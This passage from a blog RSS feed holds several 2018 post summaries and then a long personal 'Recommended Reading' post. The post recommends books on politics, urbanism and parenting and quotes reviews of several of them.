others to change to accommodate you.&lt;/p&gt;</description><author>Notes on software development</author><pubDate>Fri, 18 May 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">http://notes.eatonphil.com/writing-to-be-read.html</guid></item><item><title>When money isn’t real: the $10,000 experiment</title><link>https://yasha.solutions/when-money-isnt-real-the-10000-experiment/</link><description>Adam Carroll talks about his $10,000 Monopoly game with his kids and how to teach finance management in a cashless society. Adam Carroll is quickly being recognized as one of the top transformational trainers in the country. Having presented at over 500 colleges and Universities nationwide, hundreds of leadership symposiums, and countless local and regional organizations, Adam Carroll’s message of Building A Bigger Life, Not a Bigger Lifestyle has been heard by over 200,000+ people.</description><author>Yasha Solutions</author><pubDate>Fri, 18 May 2018 01:26:58 GMT</pubDate><guid isPermaLink="true">https://yasha.solutions/when-money-isnt-real-the-10000-experiment/</guid></item><item><title>More proofs that I am right to not write on Medium etc..</title><link>https://stop.zona-m.net/2018/05/more-proofs-that-i-am-right-to-not-write-on-medium-etc../</link><description>&lt;p&gt;Three weeks ago I explained why, by default, I do NOT write on Medium, LinkedIn, Patreon and similar websites. This week I found more perfect examples of how good at least two of my reasons are.&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Thu, 17 May 2018 21:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/05/more-proofs-that-i-am-right-to-not-write-on-medium-etc../</guid></item><item><title>Who Needs Stablecoins?</title><link>https://one.mikro2nd.net/pages/who-needs-stablecoins/</link><description>##Do We Really Need StableCoins?
Originally posted on the Old Blog
When I was a very small child growing up in South Africa, most of the world&amp;rsquo;s fiat currencies were backed by Gold. One South African Rand bought you two American Dollars, and that rate of exchange never varied. The price of Gold was fixed by an Agreement of Nations at $35 per troy ounce.
I suppose that, with the value of the world&amp;rsquo;s money being fixed by decree to the value of shiny metal, it is to be expected that things will favour the currency of that country where most of the shiny metal was mined.</description><author>one mikro2nd</author><pubDate>Thu, 17 May 2018 20:44:24 GMT</pubDate><guid isPermaLink="true">https://one.mikro2nd.net/pages/who-needs-stablecoins/</guid></item><item><title>Recommended Reading</title><link>https://josh.works/recommended-reading-original-list</link><description>&lt;p&gt;I like to read, and I often recommend books to others. I used to have a very different list of recommended books, but they come and go with time. This list is sorta ‘older’, circa 2021. &lt;sup id="fnref:books-change"&gt;&lt;a class="footnote" href="#fn:books-change" rel="footnote"&gt;1&lt;/a&gt;&lt;/sup&gt; A newer/different list is available &lt;a href="/recommended-reading"&gt;here&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;These are a collection of books that come up in conversation more often than others.&lt;/p&gt;

&lt;p&gt;I mention some books “pair well” with other books, just as certain wines pair well with a certain foods. The ideas contained within certain books may compliment (or contrast) the ideas listed in the “pairs with” book. I don’t do affiliate links.&lt;/p&gt;

&lt;h2 id="politics"&gt;Politics&lt;/h2&gt;

&lt;p&gt;I’m a fan of the idea of shrinking the political sphere. Politics is where everyone has a rightful sense of ownership of the issue (we all pay taxes, after all) and where the outcomes can be determined &lt;em&gt;by certain people being willing to yell&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;It’s embarrassing to organize ourselves entirely with/around coercion, but for now, that’s what it is. I look forward to when our dominant political institutions go the way of the medieval church.&lt;/p&gt;

&lt;p&gt;A theme through the next few book recommendations is &lt;a href="https://www.fs.blog/2018/02/unintended-consequences/"&gt;unintended consequences&lt;/a&gt; and &lt;a href="https://www.fs.blog/2016/04/second-level-thinking/"&gt;second order effects&lt;/a&gt;.&lt;/p&gt;

&lt;h3 id="the-problem-of-political-authority-an-examination-of-the-right-to-coerce-and-the-duty-to-obey"&gt;The Problem of Political Authority: An Examination of the Right to Coerce and the Duty to Obey&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://www.goodreads.com/book/show/15794037-the-problem-of-political-authority"&gt;Goodreads&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This book (its technically a textbook written by a professor from Colorado University - Boulder) argues that “political” authority cannot be arrived at from first principles, and building institutions upon a foundation of one group legally exercising coercion against another might be legal (in the same way that slavery used to be “legal”) but it’s not moral.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;The Problem of Political Authority&lt;/em&gt; is the best book I read since at least 2016.&lt;/p&gt;

&lt;h3 id="the-origins-of-proslavery-christianity-white-and-black-evangelicals-in-colonial-and-antebellum-virginia"&gt;The Origins of Proslavery Christianity: White and Black Evangelicals in Colonial and Antebellum Virginia&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://www.goodreads.com/book/show/2507760.The_Origins_of_Proslavery_Christianity"&gt;Goodreads&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;If you’ve hung out with me, and heard me was poetic about any modern phenomena visible in “the church” today, you may hear me talk about “slaveholder religion”. This book is exactly as advertised. It’ll be troubling to some of you, unsurprising to others. As long as churches cling unselfconsciously to slaveholder religion, they will continue to perpetuate cycles of injustice and oppression in the lives of their members, and the communities inside of which their members operate.&lt;/p&gt;

&lt;p&gt;When some religious authority in the US makes a pronouncement of how laws should be written, in order to sustain a moral community, I will always think of this book. There was a time when many christian thinkers expended great energy to justify the existence of slavery. So, when {topic of the day} mixed with {“political” solution to said problem} involves steamrolling over some marginalized group… I’ll just think back to the sections in this book outlining the theological justifications religious leaders used for slavery.&lt;/p&gt;

&lt;p&gt;From an &lt;a href="https://www.amazon.com/gp/customer-reviews/R25XTA19VPXJA/ref=cm_cr_dp_d_rvw_ttl?ie=UTF8&amp;amp;ASIN=0807858773"&gt;Amazon review&lt;/a&gt;:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;So here’s a book whose very title might alienate… most people. If you are not a Christian, why take the time… If you are…you don’t want to hear about it. I am still bothered by the term “Proslavery Christianity.” As a Christian and a Baptist and an American Southerner by background, it was difficult to not take some of the information presented in this book personally. I didn’t want it to be true. How can real Christians be “Proslavery?” Our American upbringing allows us to view Slavery as something separate and distinct from Religion. And our oversimplified understanding of history allows us to blame the sins of the past on long dead bad people not at all like us.&lt;/p&gt;

  &lt;p&gt;But what if the “bad” people were like us? What if they even thought they were right? What if they were… Christians.&lt;/p&gt;

  &lt;p&gt;Well, I don’t want to spoil the story, but it happened. People, Christians included, can mix right and wrong together for so long that we end up simultaneously doing both and call them both a just cause. And we still do this. We go along with others definition of evil and good in the world. And we still allow economic, political and cultural power holders to narrow our faith to non status quo threatening endeavors.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3 id="seeing-like-a-state-how-certain-schemes-to-improve-the-human-condition-have-failed"&gt;Seeing Like a State: How Certain Schemes to Improve the Human Condition Have Failed&lt;/h3&gt;

&lt;p&gt;[Goodreads]](https://www.goodreads.com/book/show/20186.Seeing_Like_a_State)&lt;/p&gt;

&lt;p&gt;The craft of statehood is hard, and the state has been remarkably consistent at sustaining itself, despite myriad harms heaped upon its citizens.
&lt;!--more--&gt;&lt;/p&gt;

&lt;p&gt;I’m quoting at length from &lt;a href="http://slatestarcodex.com/2017/03/16/book-review-seeing-like-a-state/"&gt;Slate Star Codex’s excellent review of the book&lt;/a&gt;:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;[The author] starts with the story of “scientific forestry” in 18th century Prussia. Enlightenment rationalists noticed that peasants were just cutting down whatever trees happened to grow in the forests, like a chump. They came up with a better idea: clear all the forests and replace them by planting identical copies of Norway spruce (the highest-lumber-yield-per-unit-time tree) in an evenly-spaced rectangular grid. Then you could just walk in with an axe one day and chop down like a zillion trees an hour and have more timber than you could possibly ever want.&lt;/p&gt;

  &lt;p&gt;This went poorly. The impoverished ecosystem couldn’t support the game animals and medicinal herbs that sustained the surrounding peasant villages, and they suffered an economic collapse. The endless rows of identical trees were a perfect breeding ground for plant diseases and forest fires. And the complex ecological processes that sustained the soil stopped working, so after a generation the Norway spruces grew stunted and malnourished. Yet for some reason, everyone involved got promoted, and “scientific forestry” spread across Europe and the world.&lt;/p&gt;

  &lt;p&gt;And this pattern repeats with suspicious regularity across history, not just in biological systems but also in social ones.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;This book is exceptional.&lt;/p&gt;

&lt;h3 id="the-non-violent-atonement"&gt;The Non-Violent Atonement&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://www.goodreads.com/en/book/show/9945"&gt;Goodreads&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I could speak at length about this, just know the title, read the reviews. IYKYK.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Many Christians have begun to question the tradition view of substitutionary atonement that is a the heart of traditional doctrine. Its message of an angry God whose wrath has to be satisfied by a sacrifice of blood, is becoming increasingly difficult to accept. But to question it smacks, almost, of heresy.&lt;/p&gt;

  &lt;p&gt;Weaver explains that in fact this is a relatively recent concept, probably dating from Anselm in about 1000 CE.&lt;/p&gt;

  &lt;p&gt;He explains that it was an idea unknown to those in New Testament times and is in effect a modern idea.&lt;/p&gt;

  &lt;p&gt;He opening premise is that it is unacceptable to build a faith centred on the frightening levels of violence that accompany the traditional view.&lt;/p&gt;

  &lt;p&gt;He looks at other ideas - is the death of Jesus just to be seen as a lesson for us in sacrificial love. He also takes us back to the meaning of Christus Victor - the defeating of the powers of evil. So the atonement is seen less as a business transaction involving a payment for the sins of the world, but a sacrificial act which liberated humanity.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3 id="against-the-grain-a-deep-history-of-the-earliest-states"&gt;Against the Grain: A Deep History of the Earliest States&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://www.goodreads.com/book/show/34324534-against-the-grain?from_search=true&amp;amp;from_srp=true&amp;amp;qid=Q8h37t624W&amp;amp;rank=1"&gt;Goodreads&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Read it. He talks about state formation and dissolution, in the time of early Mesopotamian societies. Given how states then flourished and reproduced endlessly, it’s useful to learn how to see the world through the eyes of a state.&lt;/p&gt;

&lt;p&gt;He argues that just as people domesticated animals, so too did states domesticate people.&lt;/p&gt;

&lt;p&gt;He argues (compellingly) it isn’t &lt;em&gt;that great&lt;/em&gt; to be domesticated, nor is it &lt;em&gt;that bad&lt;/em&gt; when states dissolve.&lt;/p&gt;

&lt;h3 id="the-slaughter-of-cities-urban-renewal-as-ethnic-cleansing"&gt;The Slaughter of Cities: Urban Renewal as Ethnic Cleansing&lt;/h3&gt;

&lt;p&gt;[FidelityPress (this book wasn’t available on Amazon!!!)]](https://www.fidelitypress.org/slaughter-of-cities)&lt;/p&gt;

&lt;p&gt;Lets look at the key phrases. From wikipedia:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://en.wikipedia.org/wiki/Ethnic_cleansing"&gt;Ethnic Cleansing&lt;/a&gt;:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Ethnic cleansing is the systematic forced removal of ethnic, racial, and religious groups from a given area, with the intent of making a region ethnically homogeneous.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;a href="https://en.wikipedia.org/wiki/Urban_renewal"&gt;Urban Renewal&lt;/a&gt;:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Urban renewal is a program of land redevelopment often used to address urban decay in cities. Urban renewal is the clearing out of blighted areas in inner cities to clear out slums and create opportunities for higher class housing, businesses, and more. A primary purpose of urban renewal is to restore economic viability to a given area by attracting external private and public investment and by encouraging business start-ups and survival.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Ok, ok, so what does it actually look like?&lt;/p&gt;

&lt;blockquote class="instagram-media"&gt;&lt;div style="padding: 16px;"&gt; &lt;a href="https://www.instagram.com/p/CZuUXoMujRj/?utm_source=ig_embed&amp;amp;utm_campaign=loading" style="line-height: 0; padding: 0 0; text-align: center; text-decoration: none; width: 100%;" target="_blank"&gt; &lt;div style="display: flex;"&gt; &lt;div style="background-color: #F4F4F4; border-radius: 50%; height: 40px; margin-right: 14px; width: 40px;"&gt;&lt;/div&gt; &lt;div style="display: flex;"&gt; &lt;div style="background-color: #F4F4F4; border-radius: 4px; height: 14px; margin-bottom: 6px; width: 100px;"&gt;&lt;/div&gt; &lt;div style="background-color: #F4F4F4; border-radius: 4px; height: 14px; width: 60px;"&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="padding: 19% 0;"&gt;&lt;/div&gt; &lt;div style="display: block; height: 50px; margin: 0 auto 12px; width: 50px;"&gt;&lt;/div&gt;&lt;div style="padding-top: 8px;"&gt; &lt;div style="color: #3897f0; font-family: Arial,sans-serif; font-size: 14px; font-style: normal; font-weight: 550; line-height: 18px;"&gt;View this post on Instagram&lt;/div&gt;&lt;/div&gt;&lt;div style="padding: 12.5% 0;"&gt;&lt;/div&gt; &lt;div style="display: flex; margin-bottom: 14px;"&gt;&lt;div&gt; &lt;div&gt;&lt;/div&gt; &lt;div&gt;&lt;/div&gt; &lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="margin-left: 8px;"&gt; &lt;div style="background-color: #F4F4F4; border-radius: 50%; height: 20px; width: 20px;"&gt;&lt;/div&gt; &lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="margin-left: auto;"&gt; &lt;div&gt;&lt;/div&gt; &lt;div&gt;&lt;/div&gt; &lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt; &lt;div style="display: flex; margin-bottom: 24px;"&gt; &lt;div style="background-color: #F4F4F4; border-radius: 4px; height: 14px; margin-bottom: 6px; width: 224px;"&gt;&lt;/div&gt; &lt;div style="background-color: #F4F4F4; border-radius: 4px; height: 14px; width: 144px;"&gt;&lt;/div&gt;&lt;/div&gt;&lt;/a&gt;&lt;p style="color: #c9c8cd; font-family: Arial,sans-serif; font-size: 14px; line-height: 17px; margin-bottom: 0; margin-top: 8px; overflow: hidden; padding: 8px 0 7px; text-align: center; white-space: nowrap;"&gt;&lt;a href="https://www.instagram.com/p/CZuUXoMujRj/?utm_source=ig_embed&amp;amp;utm_campaign=loading" style="color: #c9c8cd; font-family: Arial,sans-serif; font-size: 14px; font-style: normal; font-weight: normal; line-height: 17px; text-decoration: none;" target="_blank"&gt;A post shared by Segregation by Design (@segregation_by_design)&lt;/a&gt;&lt;/p&gt;&lt;/div&gt;&lt;/blockquote&gt;


&lt;h3 id="evicted-poverty-and-profit-in-the-american-city"&gt;&lt;a href="https://www.goodreads.com/book/show/25852784-evicted"&gt;Evicted: Poverty and Profit in the American City&lt;/a&gt;&lt;/h3&gt;

&lt;p&gt;This is a brutal read. It’s not &lt;em&gt;technically&lt;/em&gt; illegal to be poor in the USA, but from the perspective of many, it may as well be.&lt;/p&gt;

&lt;p&gt;From &lt;a href="https://www.goodreads.com/review/show/1596100376"&gt;GoodReads&lt;/a&gt;:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;I didn’t realize until I read the afterward that the author of this book put himself right into the middle of the people he portrays lives. He gave them rides to look for houses, he even loaned them small amounts of money at times. He admits that he misses living in the trailer park among them.&lt;/p&gt;

  &lt;p&gt;This book. I hope more people get it and read it. I’ve been on a “smart book” kick lately and I’ve starred them all pretty highly but this one is just amazing. Desmond knocks it out of the ballpark. You can tell he puts his whole heart into telling these stories.&lt;/p&gt;

  &lt;p&gt;Now the stories..they are real people: You have to keep reminding yourself of that as you read this book because no one is perfect, they all mess up and the writing is so good that you feel like you are just reading a really good work of fiction.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The whole review is worth reading.&lt;/p&gt;

&lt;h3 id="the-color-of-law-a-forgotten-history-of-how-our-government-segregated-america"&gt;The Color of Law: A Forgotten History of How Our Government Segregated America&lt;/h3&gt;

&lt;p&gt;[Goodreads]](https://www.goodreads.com/book/show/32191706-the-color-of-law)&lt;/p&gt;

&lt;p&gt;The modern US implementation of zoning is a by-product of the Supreme Court making &lt;a href="https://en.wikipedia.org/wiki/Redlining"&gt;redlining&lt;/a&gt; illegal. Since explicit racism was no longer legal, politically powerful racists implemented laws that were not &lt;em&gt;explicitly&lt;/em&gt; racist, but everyone understood it to be laws to keep black (and and poor) people out of their neighborhoods, accomplishing the same goals.&lt;/p&gt;

&lt;p&gt;I’ll state that again - your neighborhoods’ HOA, your single-family-home neighborhood, your mortgage interest tax-deduction - all this was put in place by racists, to further their vision of a segregated society.&lt;/p&gt;

&lt;p&gt;All of this was put in place long ago. The people living in these neighborhoods mostly ended up there by accident.&lt;/p&gt;

&lt;p&gt;Of course, these policies are harmful to minorities and poor people, &lt;em&gt;but they are also harmful to everyone else, including those who ostensibly benefit from the policies&lt;/em&gt;. The US is collectively shooting itself in the foot, every day, by allowing these policies to stand.&lt;/p&gt;

&lt;p&gt;What are the effects of this horrible regime?&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Land value is 1/10th of what it could be&lt;/li&gt;
  &lt;li&gt;housing and commercial rental space is 5x what it should be&lt;/li&gt;
  &lt;li&gt;we all lose so much of our time to dealing with broken, congested mobility networks&lt;/li&gt;
  &lt;li&gt;we have to travel so much farther than we otherwise would for daily necessities&lt;/li&gt;
  &lt;li&gt;a large (and growing) fraction of our income goes to dealing with cars (one car, two car, gas, maintenance, traffic traffic traffic)&lt;/li&gt;
  &lt;li&gt;our social justice problems are almost exclusively a downstream effect of these racist, exclusionary policies.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;From &lt;a href="https://www.goodreads.com/review/show/1994904156?book_show_action=true&amp;amp;from_review_page=1"&gt;GoodReads&lt;/a&gt;:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;[The Color of Law is the history] of the development of &lt;a href="https://en.wikipedia.org/wiki/De_jure"&gt;de jure&lt;/a&gt; segregation in the United States - that is, the deliberate result of federal laws and local policies.&lt;/p&gt;

  &lt;p&gt;[The author] demonstrates convincingly that the problem is entrenched within multiple organizations and legal standards.&lt;/p&gt;

  &lt;p&gt;For example, the Federal Housing Administration, part of the New Deal set of domestic programs, &lt;em&gt;required segregation in order to qualify for low-interest financing&lt;/em&gt;. (emphasis added)&lt;/p&gt;

  &lt;p&gt;The government-sponsored HOLC required private real-estate agents to appraise neighborhoods and lower pricing values based on the racial composition of its inhabitants.&lt;/p&gt;

  &lt;p&gt;This of course extends beyond the federal level. State governments, city councils, neighborhoods’ associations, cooperation with non-profits or NGOs that promoted segregation, banks refusing to provide funding to black applicants, landlords charging higher fees, infrastructure projects demolishing black neighborhoods without compensation, black residents being denied access to mortgages (then forced to pay on installment plans where one missed payment meant eviction), tying public education to real estate taxes so poorer neighborhoods had worse-funded schools, and so on and so on.&lt;/p&gt;

  &lt;p&gt;The cumulative effects of discrimination over the first half of the 20th century are damning, and they have not at all been rectified.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3 id="money-bank-credit-and-economic-cycles"&gt;Money, Bank Credit, and Economic Cycles&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://www.goodreads.com/book/show/54388.Money_Bank_Credit_and_Economic_Cycles"&gt;Goodreads&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This book is a dense read, and over 1000 pages. You could read the first 10% of the book, and be more educated than 99% of pundits blabbering away on TV.&lt;/p&gt;

&lt;p&gt;The author lays out a few bold claims, and backs them up:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;There was a time when the treatment of bank &lt;em&gt;deposits&lt;/em&gt; and bank &lt;em&gt;investments&lt;/em&gt; were very different.&lt;/li&gt;
  &lt;li&gt;A bank making use of its customers deposits, for its own interests, was once considered simple fraud, illegal, and a banker who engaged in such fraud and was unable to make its customers whole was beheaded. (Today we call this “fractional reserve banking”)&lt;/li&gt;
  &lt;li&gt;Fractional-reserve banking is a legal fiction, and is actually fraud.&lt;/li&gt;
  &lt;li&gt;Economic cycles (“booms” followed by “busts”, or “corrections”) are assumed to be the normal state of affairs right now, but they need not exist.&lt;/li&gt;
  &lt;li&gt;Most of the money churning around the global economy doesn’t &lt;em&gt;really&lt;/em&gt; exist, and once a very small people lose confidence in it, much of it will evaporate.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;It’s so good I’ve read it twice; I wish I could recommend a smaller book that gave adequate treatment to this topic, but I have not found it yet. Just read the first 10% of the book and call it a day.&lt;/p&gt;

&lt;p&gt;If the topic piques your attention, but you’re not down for 1000 dense pages, &lt;a href="https://www.goodreads.com/review/show/2028288882?book_show_action=true&amp;amp;from_review_page=1"&gt;this review on GoodReads&lt;/a&gt; is a comprehensive summary of the book.&lt;/p&gt;

&lt;h2 id="buildings-and-urbanism"&gt;Buildings and Urbanism&lt;/h2&gt;

&lt;p&gt;To me, traditional architecture is irrelevant. Architects build buildings for other architects, not for people.&lt;/p&gt;

&lt;p&gt;What &lt;em&gt;is&lt;/em&gt; relevant is the buildings and environment in which we all live. We (humans) shape the environment in which we live, and we are shaped by the environment in which we live.&lt;/p&gt;

&lt;p&gt;It stands to reason that an environment more conducive to use, at a lower price point, that encourages human flourishing is superior to one that is less conducive to use, costs more, and squelches human flourishing.&lt;/p&gt;

&lt;h3 id="order-without-design-how-markets-shape-cities"&gt;Order Without Design: How Markets Shape Cities&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://www.goodreads.com/book/show/39644188-order-without-design?from_search=true"&gt;Goodreads&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Everyone involved with urban planning, city planning, or large-scale construction projects should read this book, make some modest improvements to their plans, and enjoy doubling all the good things their projects accomplish, for a fraction of the cost.&lt;/p&gt;

&lt;p&gt;This is an incredible book.&lt;/p&gt;

&lt;h3 id="how-buildings-learn"&gt;How Buildings Learn&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://www.goodreads.com/book/show/38310.How_Buildings_Learn"&gt;Goodreads&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This book has beautiful and fascinating photography throughout, often capturing buildings that have lasted for hundreds of years. Buildings, if allowed, change dramatically over time.&lt;/p&gt;

&lt;p&gt;A theme throughout the book is that we should &lt;em&gt;expect&lt;/em&gt; buildings to change, and &lt;em&gt;plan&lt;/em&gt; for them to change.&lt;/p&gt;

&lt;p&gt;I’m quoting a &lt;a href="https://www.goodreads.com/review/show/44813468?book_show_action=true&amp;amp;from_review_page=1"&gt;GoodReads reviewer&lt;/a&gt;:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;You will love this book if, like me, you think that modern and postmodern architecture has gone terribly, terribly wrong. (Conversely, if you worship Frank Gehry, I. M. Pei, and their ilk, you will probably be offended.) Stewart Brand argues convincingly that the buildings that survive are those that can be flexible enough to adapt to the changing needs and tastes successive generations of inhabitants. He is particularly trenchant in his criticism of the overprogrammed, over-designed, sculptural architectural buildings (he calls them “magazine architecture”) that are often obsolete before they are completed, and he points out that, Frank Lloyd Wright’s opinion notwithstanding, it is not in fact a sign of architectural success if the roof leaks!&lt;/p&gt;

  &lt;p&gt;Also be sure to check out his very original comments on “low-road” buildings, those whose designs are so throwaway that successive inhabitants can and do feel utterly free to knock down walls, cut through floors, and otherwise jerry-rig them to adapt to current needs. It’s a brilliant exploration of an often neglected but probably ubiquitous subset of buildings.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3 id="the-death-and-life-of-great-american-cities"&gt;The Death and Life of Great American Cities&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://www.goodreads.com/book/show/30833.The_Death_and_Life_of_Great_American_Cities"&gt;Goodreads&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Jane Jacobs &lt;em&gt;loves&lt;/em&gt; cities. She loves the unplanned, chaotic, messy way that cities evolve. She might well make you love the same thing.&lt;/p&gt;

&lt;p&gt;She hits hard in this book, and her words are even more relevant today than they were in the 1950s.&lt;/p&gt;

&lt;p&gt;Quoting from &lt;a href="https://www.goodreads.com/review/show/747832578?book_show_action=true&amp;amp;from_review_page=1"&gt;this excellent review on GoodReads&lt;/a&gt;:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Jacobs’s recipe for creating a healthy neighborhood has four ingredients:&lt;/p&gt;

  &lt;ul&gt;
    &lt;li&gt;(1) mixed uses, so that different kinds of people are drawn to the area at different times of day for different reasons;&lt;/li&gt;
    &lt;li&gt;(2) a mixture of old and new buildings, so that there is low-rent space available for small businesses and low-income residents;&lt;/li&gt;
    &lt;li&gt;(3) small blocks, so that streets are not isolated from one another; and&lt;/li&gt;
    &lt;li&gt;(4) sufficient density of residents, to create the necessary amount of economic and social activity.&lt;/li&gt;
  &lt;/ul&gt;

  &lt;p&gt;The goal is to produce a neighborhood like her own Greenwich Village: with lots of street life, with successful residents who choose to stay long-term, with local stores and restaurants and cafes, and with a steady influx of immigrants.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;This book discusses the tension between “chaos” and “order” in a way that pairs very well with &lt;em&gt;Seeing like a State&lt;/em&gt;. It pairs well with &lt;em&gt;Antifragile&lt;/em&gt;, as well, as Jacobs talks about small bets, organic growth, and the dangers of “cataclysmic money” and top-down growth and planning.&lt;/p&gt;

&lt;h3 id="a-pattern-language-towns-buildings-construction"&gt;A Pattern Language: Towns, Buildings, Construction&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://www.amazon.com/Pattern-Language-Buildings-Construction-Environmental/dp/0195019199"&gt;link&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Buildings and their properties solve problems for people, and the buildings can and should be as customized as the problems they solve. This book is a good start to learning conceptual framework for physical-space problem solving, while leading to an overall “harmonious” and “right” and “beautiful” and “coherent” finished product, however you define those terms.&lt;/p&gt;

&lt;h2 id="parenting"&gt;Parenting&lt;/h2&gt;

&lt;strike&gt;I'm not a parent. I'm sure once I have kids I'll have a different set of books to recommend.&lt;/strike&gt;

&lt;p&gt;I am now a parent. I still recommend these books, and some extras.&lt;/p&gt;

&lt;h3 id="parenting-from-the-inside-out-how-a-deeper-self-understanding-can-help-you-raise-children-who-thrive"&gt;Parenting from the Inside Out: How a Deeper Self-Understanding Can Help You Raise Children Who Thrive&lt;/h3&gt;

&lt;p&gt;[on amazon]](https://www.amazon.com/Parenting-Inside-Out-Self-Understanding-Anniversary/dp/039916510X)&lt;/p&gt;

&lt;p&gt;The point of having a kid is (more or less) to raise independent adults who are friends with you. Actuarial tables agree that if you’re reading these words, you might well live into your 80s.&lt;/p&gt;

&lt;p&gt;We (millenials and beyond) are having kids later and later, unfortunately. The economy and housing and life situation is hard, so we defer kids until feeling a smidgen of stability in our lives, which is fleeting.&lt;/p&gt;

&lt;p&gt;Anyway this book is good. You’ll heal from some of your own stuff, learn some new/improved patterns, and be better equipped to care well for your own kid(s).&lt;/p&gt;

&lt;h3 id="selfish-reasons-to-have-more-kids-why-being-a-great-parent-is-less-work-and-more-fun-than-you-think"&gt;Selfish Reasons to Have More Kids: Why Being a Great Parent is Less Work and More Fun Than You Think&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://www.goodreads.com/book/show/10266902-selfish-reasons-to-have-more-kids"&gt;Goodreads&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This book gets the notable distinction of being why my partner and I finally transitioned from not wanting to have kids, to wanting to have kids in the near term. It had a profound and measurable impact on our plans and thinking. Enough said.&lt;/p&gt;

&lt;h3 id="the-art-of-roughhousing-good-old-fashioned-horseplay-and-why-every-kid-needs-it"&gt;The Art of Roughhousing: Good Old-Fashioned Horseplay and Why Every Kid Needs It&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://www.goodreads.com/book/show/9861067-the-art-of-roughhousing"&gt;Goodreads&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Physical play is deeply satisfying. I rough-housed with friends all the time when growing up. This book does make a case for the myriad benefits children, their friends, and parents can experience with roughhousing, but it’s mostly a manual for &lt;em&gt;how&lt;/em&gt; to roughhouse.&lt;/p&gt;

&lt;p&gt;It’s got a few dozen suggested (and illustrated) games that are appropriate for all ages, and all size differences.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;The Art of Roughhousing shows how rough-and-tumble play can nurture close connections, solve behavior problems, boost confidence, and more. Drawing inspiration from gymnastics, martial arts, ballet, traditional sports, and even animal behavior, the authors present dozens of illustrated activities for children and parents to enjoy together-everything from the “Sumo Dead Lift” to the “Rogue Dumbo.” These delightful games are fun, free, and contain many surprising health benefits for parents.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;A surprisingly practical and immediately relevant read for anyone who has kids. I plan on re-reading it once I have a child of my own.&lt;/p&gt;

&lt;h3 id="how-to-raise-an-adult-break-free-of-the-overparenting-trap-and-prepare-your-kid-for-success"&gt;How to Raise an Adult: Break Free of the Overparenting Trap and Prepare Your Kid for Success&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://www.goodreads.com/book/show/23168823-how-to-raise-an-adult"&gt;Goodreads&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Self-explanatory. Worth reading.&lt;/p&gt;

&lt;h3 id="difficult-conversations-how-to-discuss-what-matters-most"&gt;Difficult Conversations: How to Discuss What Matters Most&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://www.goodreads.com/book/show/774088.Difficult_Conversations"&gt;Goodreads&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Not a christian book, but &lt;em&gt;extremely&lt;/em&gt; relevant. The “value” of productive-but-difficult conversations is 100x almost any other kind of conversation.&lt;/p&gt;

&lt;p&gt;Difficult conversations are how you define relationships, work through challenges with your significant other, resolve work conflicts, and so much more.&lt;/p&gt;

&lt;p&gt;The simple act of &lt;em&gt;reading a book about difficult conversations&lt;/em&gt; changes the tone of the next hard conversation you have. Instead of wanting to run from it or avoid it, you will see it as an opportunity to apply your learning, and work for a good outcome for all parties.&lt;/p&gt;

